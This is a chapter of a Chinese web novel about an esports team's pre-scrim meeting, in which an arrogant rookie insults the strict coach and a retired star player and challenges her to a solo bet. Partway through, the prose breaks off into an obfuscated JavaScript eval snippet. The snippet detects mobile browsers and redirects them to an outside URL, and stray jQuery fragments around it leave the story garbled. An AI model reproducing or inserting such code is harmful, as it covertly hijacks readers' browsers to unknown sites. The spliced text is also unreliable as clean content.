“哲轩啊,等会训练赛不用太紧张,就跟平时一样,多听队长的指挥,学学赛场上的经验……”
郑哲轩冷着脸调试设备,一张口就是不加掩饰的厌烦:“行,听他的,说完了没有?”
“注意态度,”王佑群一噎,但又实在不能得罪他,只好主动递台阶,“你跟我闹闹没什么,等会杨教练来了你别耍脾气,谦虚点,能学到真东西。”
“知道了。”郑哲轩语调懒懒的,显然没放在心上。
“都过来!开会了,还在那傻坐着干什么!”
门一开,一摊子歪七扭八的烂泥,杨邵杰看一眼都窝火,脸色一下子就阴沉下来,她脸上的每一丝皱纹仿佛都浴历铁血,一僵下脸,怒目飞火,能做成挂历止小儿夜啼。
直播没播完的几个脊骨头一激灵,拔了网线火速下播,紧着头皮过来听训。
连郑哲轩都一言不发地靠过来,杨邵杰横了他一眼,硬邦邦地皱起眉头:“快点,磨蹭什么呢,不想训现在就可以出去。”
他脸色一臭,但还是捏着鼻子忍了,迈开步子站到谢凯乐旁边。
他来一队的时候老头子就提过,这个人是好不容易从其他俱乐部挖过来的,有两分本事。
当初听名字他还以为是个男的呢,没想到是个更年期大妈。
郑哲轩暗幽幽翻了个白眼。
“今天约的BO几啊?”
“训练赛而已,BO3,先让他们先适应适应。”
“看过对手录影了吗,主要走的是什么风格?”
“看过最近一段时间的比赛复盘,MOON一直是走的运营保c流,他们家Leader是法师王嘉诚。”
“选手个人风格的话没有很突出的,但也没有明显短板,控龙率中上,但守家很强,平均时长都在30分钟以上,是联盟里韧性很足的一支队伍。”
队长宋平一如既往地进行赛前分析,但杨邵杰并没有对此露出满意的神色,他没有真的看过MOON最近的记录。
“还有吗?”杨邵杰刀尖一样的眼尾挑起来,抿紧唇线,她对宋平释放出压力。
“MOON虽然一直走的运营路线没错,但他们最近也有尝试改变,选手换位明显,从野核切换到射辅联动,要把推线运营的优势扩大成终结比赛的能力。”
“嗯,”杨邵杰看向门边自己的得意门生,顿了一瞬,目光揉出难以释怀的惋惜,“不错。”
宋平脸上忽闪过一丝尴尬,但无人在意,他又如往常一样默不作声地低垂下头,心里对佘逸的出言解围并甚感想,这样的场景曾经发生过太多次。
“杨教,好久不见。”
“你回来干什么,不如不见。”
“回来看看您。”
杨邵杰三年前接过这支队伍,三年间见惯了人员变动,一队不是没有过别的女选手,但留下的始终只有佘逸一个。
在这个圈子里,很多人都是征服风浪的航船,只有佘逸是她见过的坚于浪涌的磐石。
她又回想起几个月前听到消息那天,她捏着一拳汹涌的怒气推开训练室的门,看着那群装演谈笑的人,脱口而出地大骂、争论、辩驳,但佘逸还是走了。
她无可遏制地生气,因为佘逸的妥协,还有她自己,没有保住这么一块风霜苛责的顽石。
“……开会迟到,别进来了。”
“好。”
佘逸微微一笑,意思是她可以在门口听。
杨邵杰开始指导赛前注意事项,所有人都在认真听她分析并参与讨论,当然,除了郑哲轩。
除了开头几句对MOON各个位置的简要介绍,他听了一耳朵对位上单的场均人头数,3个,顿时就心不在焉起来,这就是个混子,压着打就行了。
郑哲轩从小就容易注意力涣散,坐着没一会就要乱动,目光扫到门框上镶着的佘逸,心情又一阵烦躁。
艹!杵在那端个架子要给谁看?还训练赛请大师姐来盯着,她算哪门子大师姐?
还发表意见?表你妹的意见,艹!
他不乐意听,耳机一扣,转而玩起了手机。
[Piter xuan]:ddd
[Piter xuan]:今晚上哪儿去遛遛?
[藤椒刘肉mia]:南桥那边新开了家会所,听说是做改良本帮菜的,会员制,有点子意思,待会儿去看看?
[Piter xuan]:你有病啊?大晚上宵夜去吃本帮菜?
[藤椒刘肉mia]:啧,你成哥给你推荐的场子,怎么可能这么寡淡?都说了是“改良”本帮菜,有节目。
[Piter xuan]:哎哟,那这次劳驾我成哥安排了。
[Piter xuan]:(了然.jpg)
[藤椒刘肉mia]:嗨,好说好说,郑少开口,怎么着也得让您进行不是(握拳)(坏笑)
“……说得不错,好了,时间到了,去调整设备,这次bp是按世赛标准来,双方各四ban,宋平这次指挥第一把bp,着重ban掉对方体系,不用针对选手个人。”
终于bb完了,郑哲轩吊儿郎当地佝着肩起身,半个手肘都插进兜里,好像在假装一个正在被偷拍的嬉皮士。
刚准备回位置,却被杨邵杰叫住了。
“你,对,就你。”
“怎么了,有事?”
这一鼻子冲得王佑群立马冷汗直冒,他拧着眉刺一眼郑哲轩,又偷偷瞄一眼王邵杰,两头祖宗,他夹在中间举棋不定,“啊”了好几声,愣是没能说出打圆场的话来。
“对,有事,”王邵杰拎起激光笔对准他眉心,一束红点正正中中稳稳扎在郑哲轩油腻的额头,“新来的,在我这,上场的每一次机会都是需要靠争的。”
“这次给你破例,要是第一把因为你输了,下把你去叫二队的过来。”
王佑群听到这话天灵盖都要掀开了,这位是真正的说一不二,绝不变通,不然凭她的带教能力绝不会止步于区区指导教练,太刚太直,戳得人肺管子直冒血。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296944|198575||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“杨教,今天是小轩第一次上场,要是难免紧张有点失误也肯定正常,当然,我相信小轩会以最饱满的精神状态……”
“行啊,我输了,小爷亲自去把二队的请过来。”
郑哲轩讥笑一声,显然是要爆发的前兆,终于把脑袋上半永久的兜帽扯了下来,露出一头漂染过度的白金卷发。
“赢了,”他转过胯骨轴对准门边,舌尖抵着上牙膛,将下巴抬到一个蔑视的角度,“让她滚,这儿以后不欢迎她和狗。”
美式teenager过的居然是韩式校园生活,跨物种的融合真是典中之典。
“郑哲轩,你给我注意点!这话太过了,给你逸姐道歉!”
“逸姐?她算哪门子姐?我还不知道自己家从哪儿冒出来个退役的姐。”
郑哲轩的火气节节攀升,一队这群人暗地里想的什么他能不知道?说他空降关系户他认了,但这女的谈了条件给了钱还他妈的这么阴魂不散,真是给你脸了,前恭后倨的小人做派。
从这个女人来了开始,郑哲轩就觉得所有人都在心里窃窃地讨论他的实力。
听说他没打过首秀……我看是不敢吧?也是,毕竟他上一任可是逸姐,那可是离神,打得再好能比的过离神?
他今天就会让这个女的闭嘴。
“怎么了,不敢吗?”
“哈哈哈,不好意思 郑……哲轩?对吧,哲轩弟弟,实在没忍住。”
“你用一场你自己训练赛的胜负,来对赌我不再踏入我的前公司?”
“从价值交换的理论来看——对我有0的吸引力,况且,这里本来只是我的前公司,从今天起彻彻底底地划清了关系。”
“我想我刚才应该没有忘记什么重要的程序问题,贵公司的离职手续应该不包含老总——不好意思——老总孩子的同意吧?”
“如果需要,那我的离职还不算圆满。”
佘逸冷冷清清抖出这些话,目光挑到高处,玩笑似的看着郑哲轩的脸色由黑转红,再慢慢积攒出她预料中的恼羞成怒。
“王队,实在给您添麻烦了,我早说过我来了,会有人不自在,先走了。”
王佑群这下是真的要变成一根青烟飘走了,他真是无比认同佘逸这句话,可现在已经是被架成死杠了,他妈的这是没牌能听了!
“这个……哎,这叫什么事啊……”
空调22度,王佑群肥大的脸上火燎一样往下滴汗,眼睛摸摸索索环视一圈,除了铁血阎王,就是瘟鸡一样的几个小兔崽子,谁都指望不上。
他脑子转得呼啦圈一样快,刚想出了对策,郑哲轩已经嘴快说出了要让他想请紧急公关的话来。
“你敢不敢和我赌一场solo,随便什么位置,最好是你最拿手的,不然,哼哼,总有些瞎了眼的人拎不清,还要捧着某个过了气的明星。”
“这个圈子,胜者为王,败者为寇。”
“好啊,”佘逸将倚靠在墙的重心挪正,嘴角渐渐浮出笑容,“赌什么?”